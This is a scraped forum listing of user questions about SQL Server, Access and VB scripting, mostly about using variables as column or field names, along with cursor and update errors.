Variable In A Field
Could anyone tell me why this isn't working, or if it simply can't be done. DECLARE @x varchar SET @x = 'ITEMNMBR' SELECT * FROM IV00101 WHERE @x between '3530001' and '3530020'
View Replies !
How Do I Update A Field Only If Update Value Is Not Null?
Hi. I'm not such an expert in sql and I wanted to update a table's fields only if the value that im going to update it with is not null. How do I do that? What I mean is something like: --------------------------------------------------- Update database.dbo.table set if(@newvalue !=null) afield = @newvalue; ------------------------------------------------- Really need your help on this. Thanks.
View Replies !
SQL 2000 Partitioned View Works Fine, But CURSOR With FOR UPDATE Fails To Declare
This one has me stumped. I created an updateable partioned view of a very large table. Now I get an error when I attempt to declare a CURSOR that SELECTs from the view, and a FOR UPDATE argument is in the declaration. There error generated is: Server: Msg 16957, Level 16, State 4, Line 3 FOR UPDATE cannot be specified on a READ ONLY cursor Here is the cursor declaration: declare some_cursor CURSOR for select * from part_view FOR UPDATE Any ideas, guys? Thanks in advance for knocking your head against this one. PS: Since I tested the updateability of the view there are no issues with primary keys, uniqueness, or indexes missing. Also, unfortunately, the dreaded cursor is requried, so set based alternatives are not an option - it's from within Peoplesoft.
View Replies !
Append Counter Variable To Field Name
Hi all, I have a table with fields name Days1, Days2, Days3 - I am trying to use a loop in conjunction with a counter to identify each of these fields - I can't quite get the correct syntax and it is driving me crazy!!! Here's the proc: WHILE @Counter < 4 BEGIN SELECT @AppointmentsCount = COUNT(tbl_SurgerySlot.SurgerySlotKey) FROM tbl_SurgerySlot INNER JOIN tbl_SurgerySlotDescription ON tbl_SurgerySlot.PracticeCode = tbl_SurgerySlotDescription.PracticeCode AND tbl_SurgerySlot.Label = tbl_SurgerySlotDescription.Label LEFT OUTER JOIN tbl_Appointment ON tbl_SurgerySlot.SurgerySlotKey = tbl_Appointment.SurgerySlotKey AND tbl_SurgerySlot.ExtractDate = tbl_Appointment.ExtractDate WHERE (tbl_SurgerySlot.ExtractDate = @ExtractDate) AND (tbl_Appointment.AppointmentKey IS NULL) AND (tbl_SurgerySlot.StartTime > @DateFrom) AND (tbl_SurgerySlot.StartTime < @DateTo) AND (tbl_SurgerySlotDescription.IsBookable = 1) SET @FieldName = 'Days' + CONVERT(VARCHAR(20),@Counter) INSERT INTO tmp_Availability (@FieldName) VALUES (@AppointmentsCount) SET @DateTo = DATEADD(Day,1,@DateTo) --Increment the loop counter SET @Counter = @Counter + 1 When I run the above the follwoing message is displayed: Server: Msg 208, Level 16, State 3, Line 36 Invalid object name 'tmp_Availability'. The object IS valid so I'm lost....
View Replies !
Passing A Column/field Name As A Variable?
Is it possible to use a table's fieldname as an SQL variable? i.e. can the below be made to somehow work: Code: SELECT Firstname, Surname, myVariable FROM ContactDetails WHERE myVariable = [user input]; - or simply - Code: SELECT Firstname, Surname, [user input] FROM ContactDetails; --- The "user input" being any other chosen column/fieldname from the ContactDetails table (e.g. Street, City, Postcode, etc.). i'm using Access and ASP - in case that makes a difference. any help would be greatly appreciated.
View Replies !
Connecting Variable To Database Field
Greetings what I need to do is access tables in a database, clean up one of the fields and return it to another table in the database. Im using a script component for the transformation whick looks for , or : and replaces : with a decimal point and removes the comma completely. My problem comes with the varaible-- how do I set this up so that the variable read matches the field in the database?? here is the script itself thanks km Public Function AddList(list As String) As String Dim total As Double total = 0 If Len(list) > 0 Then Dim s As Object s = Split(list, ",") Dim i As Integer For i = LBound(s) To UBound(s) s(i) = Replace(s(i), ":", ".") total = total + CDbl(s(i)) Next End If AddList = total End Function
View Replies !
|
TRACKER
